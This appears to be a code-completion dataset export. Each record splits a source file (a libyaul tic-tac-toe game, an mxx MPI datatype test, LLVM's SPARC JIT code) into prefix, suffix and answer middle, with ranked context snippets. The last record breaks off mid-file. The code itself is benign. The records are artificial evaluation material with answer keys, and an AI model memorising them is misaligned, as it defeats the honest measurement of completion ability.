lang
stringclasses
3 values
file_path
stringlengths
5
150
repo_name
stringlengths
6
110
commit
stringlengths
40
40
file_code
stringlengths
1.52k
18.9k
prefix
stringlengths
82
16.5k
suffix
stringlengths
0
15.1k
middle
stringlengths
121
8.18k
strategy
stringclasses
8 values
context_items
listlengths
0
100
C++
examples/tictactoe/main.cpp
ChillyWillyGuru/libyaul
c19fbb913dccdc7da1409e551261059e5e088924
#include <string> #include <cmath> #include <stdio.h> #include <vdp2.h> #include <smpc.h> #include <smpc/peripheral.h> #include <cons/vdp2.h> using namespace std; #define BUTTON_UP 1 #define BUTTON_DOWN 2 #define BUTTON_LEFT 3 #define BUTTON_RIGHT 4 #define BUTTON_A 5 #define BUTTON_Z 6 class TicTacToe { public: TicTacToe(); int Pick_Player(); int Pick_Row(); int Pick_Column(); int Check_Board(); void Clear_Board(); void Choice_by_Player(int); void Choice_of_Row(int); void Choice_of_Column(int); void Tic_Tac_Toe_Board(); bool Check_Move(int,int); void pos_crsr(int,int); void print_str(char*); void delay(int); bool is_button_pressed(int); private: int row; int column; int player; int board[3][3]; char display_board[3][3]; struct cons cons; struct smpc_peripheral_digital *digital; }; TicTacToe::TicTacToe() { cons_vdp2_init(&cons); cons_write(&cons, ""); delay(2); digital = smpc_peripheral_digital_port(1); delay(2); row = 0; column = 0; player = 1; for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { board[i][j] = 0; display_board[i][j] = ' '; } } } int TicTacToe::Pick_Player() { return player; } int TicTacToe::Pick_Row() { return row; } int TicTacToe::Pick_Column() { return column; } void TicTacToe::Choice_by_Player(int a) { player = a; } void TicTacToe::Choice_of_Row(int b) { row = b; } void TicTacToe::Choice_of_Column(int c) { column = c; } bool TicTacToe::Check_Move(int row, int column) { if ( board[row][column] != 0 ) { pos_crsr(20-13, 3); print_str((char*)"Space occupied - Try Again"); delay(120); pos_crsr(20-13, 3); print_str((char*)" "); return 0; } else { board[row][column] = player; return 1; } } int TicTacToe::Check_Board() { int i = 0; for (i = 0; i < 9; i++) { if (board[i/3][i%3] == 0) break; } if ( i == 9 ) return 3; if (( (board[0][0] == player) && (board[0][1] == player) && (board[0][2] == player) ) || ( (board[1][0] == player) && (board[1][1] == player) && (board[1][2] == player) ) || ( (board[2][0] == player) && (board[2][1] == player) && (board[2][2] == player) )) return player; if (( (board[0][0] == player) && (board[1][0] == player) && (board[2][0] == player) ) || ( (board[0][1] == player) && (board[1][1] == player) && (board[2][1] == player) ) || ( (board[0][2] == player) && (board[1][2] == player) && (board[2][2] == player) )) return player; if (( (board[0][0] == player) && (board[1][1] == player) && (board[2][2] == player) ) || ( (board[0][2] == player) && (board[1][1] == player) && (board[2][0] == player) )) return player; return 0; } void TicTacToe::Clear_Board() { row = 0; column = 0; player = 1; for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { board[i][j] = 0; display_board[i][j] = ' '; } } } void TicTacToe::Tic_Tac_Toe_Board() { char temp[4]; pos_crsr(20-8, 21); if ( player == 1 ) print_str((char*)"Current Player: X"); else print_str((char*)"Current Player: O"); pos_crsr(20-6, 6); print_str((char*)" | | "); pos_crsr(20-6, 7); print_str((char*)" | | "); pos_crsr(20-6, 8); print_str((char*)"___|___|___"); pos_crsr(20-6, 9); print_str((char*)" | | "); pos_crsr(20-6, 10); print_str((char*)" | | "); pos_crsr(20-6, 11); print_str((char*)"___|___|___"); pos_crsr(20-6, 12); print_str((char*)" | | "); pos_crsr(20-6, 13); print_str((char*)" | | "); pos_crsr(20-6, 14); print_str((char*)" | | "); temp[1] = 0; for ( int row = 0; row < 3; row ++) { for ( int column = 0; column < 3; column++) { if ( board[row][column] == 0) { display_board[row][column] = ' '; } if ( board[row][column] == 1) { display_board[row][column] = 'X'; } if ( board[row][column] == 2) { display_board[row][column] = 'O'; } pos_crsr(20-6+1 + column*4, 6+1 + row*3); temp[0] = display_board[row][column]; print_str(temp); } } } void TicTacToe::pos_crsr(int x,int y) { char temp[32]; sprintf(temp, "[%d;%dH", y, x); cons_write(&cons, temp); } void TicTacToe::print_str(char *str) { cons_write(&cons, str); } void TicTacToe::delay(int count) { while ( count > 0 ) { vdp2_tvmd_vblank_in_wait(); vdp2_tvmd_vblank_out_wait(); count--; } } bool TicTacToe::is_button_pressed(int button) { switch(button) { case BUTTON_UP: return !digital->button.up ? true : false; case BUTTON_DOWN: return !digital->button.down ? true : false; case BUTTON_LEFT: return !digital->button.left ? true : false; case BUTTON_RIGHT: return !digital->button.right ? true : false; case BUTTON_A: return !digital->button.a_trg ? true : false; case BUTTON_Z: return !digital->button.z_trg ? true : false; } return false; } int main() { TicTacToe game; bool test; bool more = true; int row = 0; int column= 0; int player; int check = 0; uint16_t blcs_color[] = { 0x9C00 }; vdp2_init(); vdp2_tvmd_blcs_set(false, VRAM_ADDR_4MBIT(3, 0x1FFFE), blcs_color, 0); smpc_init(); TicTacToe(); while ( more ) { game.Tic_Tac_Toe_Board(); player = game.Pick_Player(); game.pos_crsr(20-8, 3); game.print_str((char*)"Choose a square"); while ( !game.is_button_pressed(BUTTON_A) ) { game.delay(2); if ( game.is_button_pressed(BUTTON_Z) ) { more = 0; break; } } while ( game.is_button_pressed(BUTTON_A) ) game.delay(2); game.pos_crsr(20-8, 3); game.print_str((char*)" "); game.delay(30); if ( !more ) break; row = 1; if ( game.is_button_pressed(BUTTON_UP) ) row = 0; else if ( game.is_button_pressed(BUTTON_DOWN) ) row = 2; column = 1; if ( game.is_button_pressed(BUTTON_LEFT) ) column = 0; else if ( game.is_button_pressed(BUTTON_RIGHT) ) column = 2; game.Choice_of_Row(row); game.Choice_of_Column(column); test = game.Check_Move( game.Pick_Row(), game.Pick_Column()); if ( test == 0 ) { continue; } game.Tic_Tac_Toe_Board(); check = game.Check_Board(); if ( (check == 1) || (check == 2) ) { game.pos_crsr(20-4, 3); if ( check == 1 ) game.print_str((char*)"X wins!"); else game.print_str((char*)"O wins!"); game.delay(240); game.pos_crsr(20-4, 3); game.print_str((char*)" "); game.Clear_Board(); } else if ( check == 3 ) { game.pos_crsr(20-8, 3); game.print_str((char*)"The game is tied"); game.delay(240); game.pos_crsr(20-8, 3); game.print_str((char*)" "); game.Clear_Board(); } if ( player == 1) { player = 2; } else { player = 1; } game.Choice_by_Player(player); } return 0; }
#include <string> #include <cmath> #include <stdio.h> #include <vdp2.h> #include <smpc.h> #include <smpc/peripheral.h> #include <cons/vdp2.h> using namespace std; #define BUTTON_UP 1 #define BUTTON_DOWN 2 #define BUTTON_LEFT 3 #define BUTTON_RIGHT 4 #define BUTTON_A 5 #define BUTTON_Z 6 class TicTacToe { public: TicTacToe(); int Pick_Player(); int Pick_Row(); int Pick_Column(); int Check_Board(); void Clear_Board(); void Choice_by_Player(int); void Choice_of_Row(int); void Choice_of_Column(int); void Tic_Tac_Toe_Board(); bool Check_Move(int,int); void pos_crsr(int,int); void print_str(char*); void delay(int); bool is_button_pressed(int); private: int row; int column; int player; int board[3][3]; char display_board[3][3]; struct cons cons; struct smpc_peripheral_digital *digital; }; TicTacToe::TicTacToe() { cons_vdp2_init(&cons); cons_write(&cons, ""); delay(2); digital = smpc_peripheral_digital_port(1); delay(2); row = 0; column = 0; player = 1; for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { board[i][j] = 0; display_board[i][j] = ' '; } } } int TicTacToe::Pick_Player() { return player; } int TicTacToe::Pick_Row() { return row; } int TicTacToe::Pick_Column() { return column; } void TicTacToe::Choice_by_Player(int a) { player = a; } void TicTacToe::Choice_of_Row(int b) { row = b; } void TicTacToe::Choice_of_Column(int c) { column = c; } bool TicTacToe::Check_Move(int row, int
"); return 0; } else { board[row][column] = player; return 1; } } int TicTacToe::Check_Board() { int i = 0; for (i = 0; i < 9; i++) { if (board[i/3][i%3] == 0) break; } if ( i == 9 ) return 3; if (( (board[0][0] == player) && (board[0][1] == player) && (board[0][2] == player) ) || ( (board[1][0] == player) && (board[1][1] == player) && (board[1][2] == player) ) || ( (board[2][0] == player) && (board[2][1] == player) && (board[2][2] == player) )) return player; if (( (board[0][0] == player) && (board[1][0] == player) && (board[2][0] == player) ) || ( (board[0][1] == player) && (board[1][1] == player) && (board[2][1] == player) ) || ( (board[0][2] == player) && (board[1][2] == player) && (board[2][2] == player) )) return player; if (( (board[0][0] == player) && (board[1][1] == player) && (board[2][2] == player) ) || ( (board[0][2] == player) && (board[1][1] == player) && (board[2][0] == player) )) return player; return 0; } void TicTacToe::Clear_Board() { row = 0; column = 0; player = 1; for (int i = 0; i < 3; i++) { for (int j = 0; j < 3; j++) { board[i][j] = 0; display_board[i][j] = ' '; } } } void TicTacToe::Tic_Tac_Toe_Board() { char temp[4]; pos_crsr(20-8, 21); if ( player == 1 ) print_str((char*)"Current Player: X"); else print_str((char*)"Current Player: O"); pos_crsr(20-6, 6); print_str((char*)" | | "); pos_crsr(20-6, 7); print_str((char*)" | | "); pos_crsr(20-6, 8); print_str((char*)"___|___|___"); pos_crsr(20-6, 9); print_str((char*)" | | "); pos_crsr(20-6, 10); print_str((char*)" | | "); pos_crsr(20-6, 11); print_str((char*)"___|___|___"); pos_crsr(20-6, 12); print_str((char*)" | | "); pos_crsr(20-6, 13); print_str((char*)" | | "); pos_crsr(20-6, 14); print_str((char*)" | | "); temp[1] = 0; for ( int row = 0; row < 3; row ++) { for ( int column = 0; column < 3; column++) { if ( board[row][column] == 0) { display_board[row][column] = ' '; } if ( board[row][column] == 1) { display_board[row][column] = 'X'; } if ( board[row][column] == 2) { display_board[row][column] = 'O'; } pos_crsr(20-6+1 + column*4, 6+1 + row*3); temp[0] = display_board[row][column]; print_str(temp); } } } void TicTacToe::pos_crsr(int x,int y) { char temp[32]; sprintf(temp, "[%d;%dH", y, x); cons_write(&cons, temp); } void TicTacToe::print_str(char *str) { cons_write(&cons, str); } void TicTacToe::delay(int count) { while ( count > 0 ) { vdp2_tvmd_vblank_in_wait(); vdp2_tvmd_vblank_out_wait(); count--; } } bool TicTacToe::is_button_pressed(int button) { switch(button) { case BUTTON_UP: return !digital->button.up ? true : false; case BUTTON_DOWN: return !digital->button.down ? true : false; case BUTTON_LEFT: return !digital->button.left ? true : false; case BUTTON_RIGHT: return !digital->button.right ? true : false; case BUTTON_A: return !digital->button.a_trg ? true : false; case BUTTON_Z: return !digital->button.z_trg ? true : false; } return false; } int main() { TicTacToe game; bool test; bool more = true; int row = 0; int column= 0; int player; int check = 0; uint16_t blcs_color[] = { 0x9C00 }; vdp2_init(); vdp2_tvmd_blcs_set(false, VRAM_ADDR_4MBIT(3, 0x1FFFE), blcs_color, 0); smpc_init(); TicTacToe(); while ( more ) { game.Tic_Tac_Toe_Board(); player = game.Pick_Player(); game.pos_crsr(20-8, 3); game.print_str((char*)"Choose a square"); while ( !game.is_button_pressed(BUTTON_A) ) { game.delay(2); if ( game.is_button_pressed(BUTTON_Z) ) { more = 0; break; } } while ( game.is_button_pressed(BUTTON_A) ) game.delay(2); game.pos_crsr(20-8, 3); game.print_str((char*)" "); game.delay(30); if ( !more ) break; row = 1; if ( game.is_button_pressed(BUTTON_UP) ) row = 0; else if ( game.is_button_pressed(BUTTON_DOWN) ) row = 2; column = 1; if ( game.is_button_pressed(BUTTON_LEFT) ) column = 0; else if ( game.is_button_pressed(BUTTON_RIGHT) ) column = 2; game.Choice_of_Row(row); game.Choice_of_Column(column); test = game.Check_Move( game.Pick_Row(), game.Pick_Column()); if ( test == 0 ) { continue; } game.Tic_Tac_Toe_Board(); check = game.Check_Board(); if ( (check == 1) || (check == 2) ) { game.pos_crsr(20-4, 3); if ( check == 1 ) game.print_str((char*)"X wins!"); else game.print_str((char*)"O wins!"); game.delay(240); game.pos_crsr(20-4, 3); game.print_str((char*)" "); game.Clear_Board(); } else if ( check == 3 ) { game.pos_crsr(20-8, 3); game.print_str((char*)"The game is tied"); game.delay(240); game.pos_crsr(20-8, 3); game.print_str((char*)" "); game.Clear_Board(); } if ( player == 1) { player = 2; } else { player = 1; } game.Choice_by_Player(player); } return 0; }
column) { if ( board[row][column] != 0 ) { pos_crsr(20-13, 3); print_str((char*)"Space occupied - Try Again"); delay(120); pos_crsr(20-13, 3); print_str((char*)"
function_block-random_span
[ { "content": " int32_t row;\n", "file_path": "libyaul/cons/cons.h", "rank": 0, "score": 134708.42337981262 }, { "content": " class Flex: public GeneratedFlexLexer {\n\n private:\n\n std::istream* is;\n\n std::stack<int> indent_s;\n\n\n\n std::string ...
C++
experimental/test_new_datatype.cpp
asrivast28/mxx
75a4a7b8b04922f070991f1d9a4351e339a0d848
#include <iostream> #include <mxx/env.hpp> #include <mxx/datatypes.hpp> #include "new_datatype.hpp" #include "type_traits.hpp" #include <cxx-prettyprint/prettyprint.hpp> #include <cxxabi.h> struct X { char c; double d; int i; static constexpr auto datatype = std::make_tuple(&X::i, &X::c, &X::d); }; struct Y { int i; }; template <typename T> typename std::enable_if<mxx::is_simple_type<T>::value, void>::type test_datatype() { mxx::datatype dt = mxx::make_datatype<T>(); std::cout << "================================================" << std::endl; std::cout << "Testing type: " << typeid(T).name() << std::endl; std::cout << "Sizeof(): " << sizeof(T) << std::endl; std::cout << "Extent: " << dt.get_extent() << std::endl; std::cout << "True extent: " << dt.get_true_extent() << std::endl; std::cout << "is simple: " << mxx::is_simple_type<T>::value << std::endl; mxx::flat_repr r; r.type = dt.type(); mxx::type_decoder::unpack_envelope(dt.type(), r); std::cout << "Pictogram:" << std::endl; r.print_pictogram(); } template <typename T> typename std::enable_if<!mxx::has_type_descriptor<T>::value, void>::type test_descriptor() { } template <typename T> typename std::enable_if<mxx::has_type_descriptor<T>::value, void>::type test_descriptor() { std::cout << "all are builtin: " << all_are<mxx::is_builtin_type, decltype(mxx::get_datatype_descriptor<T>())>::value << std::endl; std::cout << "are all simple: " << all_are<mxx::is_simple_member, decltype(mxx::get_datatype_descriptor<T>())>::value << std::endl; } template <typename T> typename std::enable_if<!mxx::is_simple_type<T>::value, void>::type test_datatype() { std::cout << "================================================" << std::endl; std::cout << "Testing type: " << typeid(T).name() << std::endl; std::cout << "Sizeof(): " << sizeof(T) << std::endl; std::cout << "is simple: " << mxx::is_simple_type<T>::value << std::endl; std::cout << "not simple because: " << std::endl; std::cout << "has descriptor: " << mxx::has_type_descriptor<T>::value << std::endl; test_descriptor<T>(); } std::string demangle(const char* name) { int status = -4; std::unique_ptr<char, void(*)(void*)> res { abi::__cxa_demangle(name, NULL, NULL, &status), std::free }; return (status==0) ? res.get() : name ; } int main(int argc, char *argv[]) { mxx::env e(argc, argv); test_datatype<std::pair<int, char>>(); test_datatype<std::tuple<double, char>>(); using rec_tuple = std::tuple<std::pair<int, char>, std::tuple<double, float>>; test_datatype<rec_tuple>(); test_datatype<std::tuple<double, float>>(); test_datatype<X>(); test_datatype<Y>(); test_datatype<std::tuple<int, Y>>(); test_datatype<std::tuple<std::pair<int, int>, std::string>>(); std::cout << "all builtin: " << all_are<mxx::is_builtin_type, std::tuple<float, int, float, double>>::value << std::endl; std::cout << "is simple type: " << mxx::is_simple_type_helper<X>::value << std::endl; std::cout << "is simple type: " << mxx::is_simple_type<float>::value << std::endl; std::cout << "is simple member: " << mxx::is_simple_member<float*>::value << std::endl; std::cout << "is simple member: " << mxx::is_simple_member<double X::*>::value << std::endl; typedef decltype(X::datatype) my_tuple; std::cout << "all simple member: " << all_are<mxx::is_simple_member, std::remove_cv<my_tuple>::type>::value << std::endl; std::cout << "all simple member: " << all_are<mxx::is_simple_member, std::tuple<int X::*, char X::*, double X::*>>::value << std::endl; std::cout << "datatype type: " << demangle(typeid(const my_tuple).name()) << std::endl; return 0; }
#include <iostream> #include <mxx/env.hpp> #include <mxx/datatypes.hpp> #include "new_datatype.hpp" #include "type_traits.hpp" #include <cxx-prettyprint/prettyprint.hpp> #include <cxxabi.h> struct X { char c; double d; int i; static constexpr auto datatype = std::make_tuple(&X::i, &X::c, &X::d); }; struct Y { int i; }; template <typename T> typename std::enable_if<mxx::is_simple_type<T>::value, void>::type test_datatype() { mxx::datatype dt = mxx::make_datatype<T>(); std::cout << "================================================" << std::endl; std::cout << "Testing type: " << typeid(T).name() << std::endl; std::cout << "Sizeof(): " << sizeof(T) << std::endl; std::cout << "Extent: " << dt.get_extent() << std::endl; std::cout << "True extent: " << dt.get_true_extent() << std::endl; std::cout << "is simple: " << mxx::is_simple_type<T>::value << std::endl; mxx::flat_repr r; r.type = dt.type(); mxx::type_decoder::unpack_envelope(dt.type(), r); std::cout << "Pictogram:" << std::endl; r.print_pictogram(); } template <typename T> typename std::enable_if<!mxx::has_type_descriptor<T>::value, void>::type test_descriptor() { } template <typename T> typename std::enable_if<mxx::has_type_descriptor<T>::value, void>::type test_descriptor() { std::cout << "all are builtin: " << all_are<mxx::is_builtin_type, decltype(mxx::get_datatype_descriptor<T>())>::value << std::endl; std::cout << "are all simple: " << all_are<mxx::is_simple_member, decltype(mxx::get_datatype_descriptor<T>())>::value << std::endl; } template <typename T> typename std::enable_if<!mxx::is_simple_type<T>::value, void>::type test_datatype() { std::cout << "================================================" << std::endl; std::cout << "Testing type: " << typeid(T).name() << std::endl; std::cout << "Sizeof(): " << sizeof(T) << std::endl; std::cout << "is simple: " << mxx::is_simple_type<T>::value << st
std::string demangle(const char* name) { int status = -4; std::unique_ptr<char, void(*)(void*)> res { abi::__cxa_demangle(name, NULL, NULL, &status), std::free }; return (status==0) ? res.get() : name ; } int main(int argc, char *argv[]) { mxx::env e(argc, argv); test_datatype<std::pair<int, char>>(); test_datatype<std::tuple<double, char>>(); using rec_tuple = std::tuple<std::pair<int, char>, std::tuple<double, float>>; test_datatype<rec_tuple>(); test_datatype<std::tuple<double, float>>(); test_datatype<X>(); test_datatype<Y>(); test_datatype<std::tuple<int, Y>>(); test_datatype<std::tuple<std::pair<int, int>, std::string>>(); std::cout << "all builtin: " << all_are<mxx::is_builtin_type, std::tuple<float, int, float, double>>::value << std::endl; std::cout << "is simple type: " << mxx::is_simple_type_helper<X>::value << std::endl; std::cout << "is simple type: " << mxx::is_simple_type<float>::value << std::endl; std::cout << "is simple member: " << mxx::is_simple_member<float*>::value << std::endl; std::cout << "is simple member: " << mxx::is_simple_member<double X::*>::value << std::endl; typedef decltype(X::datatype) my_tuple; std::cout << "all simple member: " << all_are<mxx::is_simple_member, std::remove_cv<my_tuple>::type>::value << std::endl; std::cout << "all simple member: " << all_are<mxx::is_simple_member, std::tuple<int X::*, char X::*, double X::*>>::value << std::endl; std::cout << "datatype type: " << demangle(typeid(const my_tuple).name()) << std::endl; return 0; }
d::endl; std::cout << "not simple because: " << std::endl; std::cout << "has descriptor: " << mxx::has_type_descriptor<T>::value << std::endl; test_descriptor<T>(); }
function_block-function_prefixed
[ { "content": "struct has_datatype<T, typename std::enable_if<mxx::is_builtin_type<T>::value>::type> : std::true_type {};\n\n\n\n// TODO: extend this!\n\ntemplate <typename T, typename U>\n", "file_path": "include/mxx/datatypes.hpp", "rank": 1, "score": 214572.14218835137 }, { "content": "str...
C++
llvm-3.5/lib/Target/Sparc/SparcJITInfo.cpp
randolphwong/mcsema
eb5b376736e7f57ff0a61f7e4e5a436bbb874720
#include "SparcJITInfo.h" #include "Sparc.h" #include "SparcRelocations.h" #include "llvm/ADT/SmallVector.h" #include "llvm/CodeGen/JITCodeEmitter.h" #include "llvm/Support/Memory.h" using namespace llvm; #define DEBUG_TYPE "jit" static TargetJITInfo::JITCompilerFn JITCompilerFunction; extern "C" void SparcCompilationCallback(); extern "C" { #if defined (__sparc__) #if defined(__arch64__) #define FRAME_PTR(X) #X "+2047" #else #define FRAME_PTR(X) #X #endif asm( ".text\n" "\t.align 4\n" "\t.global SparcCompilationCallback\n" "\t.type SparcCompilationCallback, #function\n" "SparcCompilationCallback:\n" "\tsave %sp, -304, %sp\n" "\tstd %f0, [" FRAME_PTR(%fp) "-0]\n" "\tstd %f2, [" FRAME_PTR(%fp) "-8]\n" "\tstd %f4, [" FRAME_PTR(%fp) "-16]\n" "\tstd %f6, [" FRAME_PTR(%fp) "-24]\n" "\tstd %f8, [" FRAME_PTR(%fp) "-32]\n" "\tstd %f10, [" FRAME_PTR(%fp) "-40]\n" "\tstd %f12, [" FRAME_PTR(%fp) "-48]\n" "\tstd %f14, [" FRAME_PTR(%fp) "-56]\n" "\tstd %f16, [" FRAME_PTR(%fp) "-64]\n" "\tstd %f18, [" FRAME_PTR(%fp) "-72]\n" "\tstd %f20, [" FRAME_PTR(%fp) "-80]\n" "\tstd %f22, [" FRAME_PTR(%fp) "-88]\n" "\tstd %f24, [" FRAME_PTR(%fp) "-96]\n" "\tstd %f26, [" FRAME_PTR(%fp) "-104]\n" "\tstd %f28, [" FRAME_PTR(%fp) "-112]\n" "\tstd %f30, [" FRAME_PTR(%fp) "-120]\n" "\tcall SparcCompilationCallbackC\n" "\t mov %g1, %o0\n" "\tldd [" FRAME_PTR(%fp) "-0], %f0\n" "\tldd [" FRAME_PTR(%fp) "-8], %f2\n" "\tldd [" FRAME_PTR(%fp) "-16], %f4\n" "\tldd [" FRAME_PTR(%fp) "-24], %f6\n" "\tldd [" FRAME_PTR(%fp) "-32], %f8\n" "\tldd [" FRAME_PTR(%fp) "-40], %f10\n" "\tldd [" FRAME_PTR(%fp) "-48], %f12\n" "\tldd [" FRAME_PTR(%fp) "-56], %f14\n" "\tldd [" FRAME_PTR(%fp) "-64], %f16\n" "\tldd [" FRAME_PTR(%fp) "-72], %f18\n" "\tldd [" FRAME_PTR(%fp) "-80], %f20\n" "\tldd [" FRAME_PTR(%fp) "-88], %f22\n" "\tldd [" FRAME_PTR(%fp) "-96], %f24\n" "\tldd [" FRAME_PTR(%fp) "-104], %f26\n" "\tldd [" FRAME_PTR(%fp) "-112], %f28\n" "\tldd [" FRAME_PTR(%fp) "-120], %f30\n" "\trestore %o0, 0, %g1\n" "\tjmp %g1\n" "\t nop\n" "\t.size SparcCompilationCallback, .-SparcCompilationCallback" ); #else void SparcCompilationCallback() { llvm_unreachable( "Cannot call SparcCompilationCallback() on a non-sparc arch!"); } #endif } #define SETHI_INST(imm, rd) (0x01000000 | ((rd) << 25) | ((imm) & 0x3FFFFF)) #define JMP_INST(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x38 << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define NOP_INST SETHI_INST(0, 0) #define OR_INST_I(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x02 << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define OR_INST_R(rs1, rs2, rd) (0x80000000 | ((rd) << 25) | (0x02 << 19) \ | ((rs1) << 14) | (0 << 13) | ((rs2) & 0x1F)) #define RDPC_INST(rd) (0x80000000 | ((rd) << 25) | (0x28 << 19) \ | (5 << 14)) #define LDX_INST(rs1, imm, rd) (0xC0000000 | ((rd) << 25) | (0x0B << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define SLLX_INST(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x25 << 19) \ | ((rs1) << 14) | (3 << 12) | ((imm) & 0x3F)) #define SUB_INST(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x04 << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define XOR_INST(rs1, imm, rd) (0x80000000 | ((rd) << 25) | (0x03 << 19) \ | ((rs1) << 14) | (1 << 13) | ((imm) & 0x1FFF)) #define BA_INST(tgt) (0x10800000 | ((tgt) & 0x3FFFFF)) static void emitInstrForIndirectJump(intptr_t Addr, unsigned scratch, SmallVectorImpl<uint32_t> &Insts) { if (isInt<13>(Addr)) { Insts.push_back(JMP_INST(0, LO10(Addr), scratch)); Insts.push_back(NOP_INST); return; } if (isUInt<32>(Addr)) { Insts.push_back(SETHI_INST(HI22(Addr), scratch)); Insts.push_back(JMP_INST(scratch, LO10(Addr), scratch)); Insts.push_back(SUB_INST(scratch, 4, scratch)); return; } if (Addr < 0 && isInt<33>(Addr)) { Insts.push_back(SETHI_INST(HIX22(Addr), scratch)); Insts.push_back(XOR_INST(scratch, LOX10(Addr), scratch)); Insts.push_back(JMP_INST(scratch, 0, scratch)); Insts.push_back(SUB_INST(scratch, 8, scratch)); return; } Insts.push_back(RDPC_INST(scratch)); Insts.push_back(LDX_INST(scratch, 16, scratch)); Insts.push_back(JMP_INST(scratch, 0, scratch)); Insts.push_back(SUB_INST(scratch, 8, scratch)); Insts.push_back((uint32_t)(((int64_t)Addr) >> 32) & 0xffffffff); Insts.push_back((uint32_t)(Addr & 0xffffffff)); } extern "C" void *SparcCompilationCallbackC(intptr_t StubAddr) { intptr_t NewVal = (intptr_t) JITCompilerFunction((void*) StubAddr); SmallVector<uint32_t, 8> Insts; intptr_t diff = (NewVal - StubAddr) >> 2; if (isInt<22>(diff)) { Insts.push_back(BA_INST(diff)); Insts.push_back(NOP_INST); } else { emitInstrForIndirectJump(NewVal, 1, Insts); } for (unsigned i = 0, e = Insts.size(); i != e; ++i) *(uint32_t *)(StubAddr + i*4) = Insts[i]; sys::Memory::InvalidateInstructionCache((void*) StubAddr, Insts.size() * 4); return (void*)StubAddr; } void SparcJITInfo::replaceMachineCodeForFunction(void *Old, void *New) { llvm_unreachable("FIXME: Implement SparcJITInfo::" "replaceMachineCodeForFunction"); } TargetJITInfo::StubLayout SparcJITInfo::getStubLayout() { StubLayout Result = { 4*4 + 8, 32 }; return Result; } void *SparcJITInfo::emitFunctionStub(const Function *F, void *Fn, JITCodeEmitter &JCE) { JCE.emitAlignment(32); void *Addr = (void*) (JCE.getCurrentPCValue()); intptr_t CurrentAddr = (intptr_t)Addr; intptr_t EmittedAddr; SmallVector<uint32_t, 8> Insts; if (Fn != (void*)(intptr_t)SparcCompilationCallback) { EmittedAddr = (intptr_t)Fn; intptr_t diff = (EmittedAddr - CurrentAddr) >> 2; if (isInt<22>(diff)) { Insts.push_back(BA_INST(diff)); Insts.push_back(NOP_INST); } } else { EmittedAddr = (intptr_t)SparcCompilationCallback; } if (Insts.size() == 0) emitInstrForIndirectJump(EmittedAddr, 1, Insts); if (!sys::Memory::setRangeWritable(Addr, 4 * Insts.size())) llvm_unreachable("ERROR: Unable to mark stub writable."); for (unsigned i = 0, e = Insts.size(); i != e; ++i) JCE.emitWordBE(Insts[i]); sys::Memory::InvalidateInstructionCache(Addr, 4 * Insts.size()); if (!sys::Memory::setRangeExecutable(Addr, 4 * Insts.size())) llvm_unreachable("ERROR: Unable to mark stub executable."); return Addr; } TargetJITInfo::LazyResolverFn SparcJITInfo::getLazyResolverFunction(JITCompilerFn F) { JITCompilerFunction = F; return SparcCompilationCallback; } void SparcJITInfo::relocate(void *Function, MachineRelocation *MR, unsigned NumRelocs, unsigned char *GOTBase) { for (unsigned i = 0; i != NumRelocs; ++i, ++MR) { void *RelocPos = (char*) Function + MR->getMachineCodeOffset(); intptr_t ResultPtr = (intptr_t) MR->getResultPointer(); switch ((SP::RelocationType) MR->getRelocationType()) { case SP::reloc_sparc_hi: ResultPtr = (ResultPtr >> 10) & 0x3fffff; break; case SP::reloc_sparc_lo: ResultPtr = (ResultPtr & 0x3ff); break; case SP::reloc_sparc_pc30: ResultPtr = ((ResultPtr - (intptr_t)RelocPos) >> 2) & 0x3fffffff; break; case SP::reloc_sparc_pc22: ResultPtr = ((ResultPtr - (intptr_t)RelocPos) >> 2) & 0x3fffff; break; case SP::reloc_sparc_pc19: ResultPtr = ((ResultPtr - (intptr_t)RelocPos) >> 2) & 0x7ffff; break; case SP::reloc_sparc_h44: ResultPtr = (ResultPtr >> 22) & 0x3fffff; break; case SP::reloc_sparc_m44: ResultPtr = (ResultPtr >> 12) & 0x3ff; break; case SP::reloc_sparc_l44: ResultPtr = (ResultPtr & 0xfff); break; case SP::reloc_sparc_hh: ResultPtr = (((int64_t)ResultPtr) >> 42) & 0x3fffff; break; case SP::reloc_sparc_hm: ResultPtr = (((int64_t)ResultPtr) >> 32) & 0x3ff; break; } *((unsigned*) RelocPos) |= (unsigned) ResultPtr; } }
#include "SparcJITInfo.h" #include "Sparc.h" #include "SparcRelocations.h" #include "llvm/ADT/SmallVector.h" #include "llvm/CodeGen/JITCodeEmitter.h" #include "llvm/Support/Memory.h" using namespace llvm; #define DEBUG_TYPE "jit" static TargetJITInfo::JITCompilerFn JITCompilerFunction; extern "C" void SparcCompilationCallback(); extern "C" { #if defined (__sparc__) #if defined(__arch64__) #define FRAME_PTR(X) #X "+2047" #else #define FRAME_PTR(X) #X #endif asm( ".text\n" "\t.align 4\n" "\t.global SparcCompilationCallback\n" "\t.type SparcCompilationCallback, #function\n" "SparcCompilationCallback:\n" "\tsave %sp, -304, %sp\n" "\tstd %f0, [" FRAME_PTR(%fp) "-0]\n" "\tstd %f2, [" FRAME_PTR(%fp) "-8]\n" "\tstd %f4, [" FRAME_PTR(%fp) "-16]\n" "\tstd %f6, [" FRAME_PTR(%fp) "-24]\n" "\tstd %f8, [" FRAME_PTR(%fp) "-32]\n" "\tstd %f10, [" FRAME_PTR(%fp) "-40]\n" "\tstd %f12, [" FRAME_PTR(%fp) "-48]\n" "\tstd %f14, [" FRAME_PTR(%fp) "-56]\n" "\tstd %f16, [" FRAME_PTR(%fp) "-64]\n" "\tstd %f18, [" FRAME_PTR(%fp) "-72]\n" "\tstd %f20, [" FRAME_PTR(%fp) "-80]\n" "\tstd %f22, [" FRAME_PTR(%fp) "-88]\n" "\tstd %f24, [" FRAME_PTR(%fp) "-96]\n" "\tstd %f26, [" FRAME_PTR(%fp) "-104]\n" "\tstd %f28, [" FRAME_PTR(%fp) "-112]\n" "\tstd %f30, [" FRAME_PTR(%fp) "-120]\n" "\tcall SparcCompilationCallbackC\n" "\t mov %g1, %o0\n" 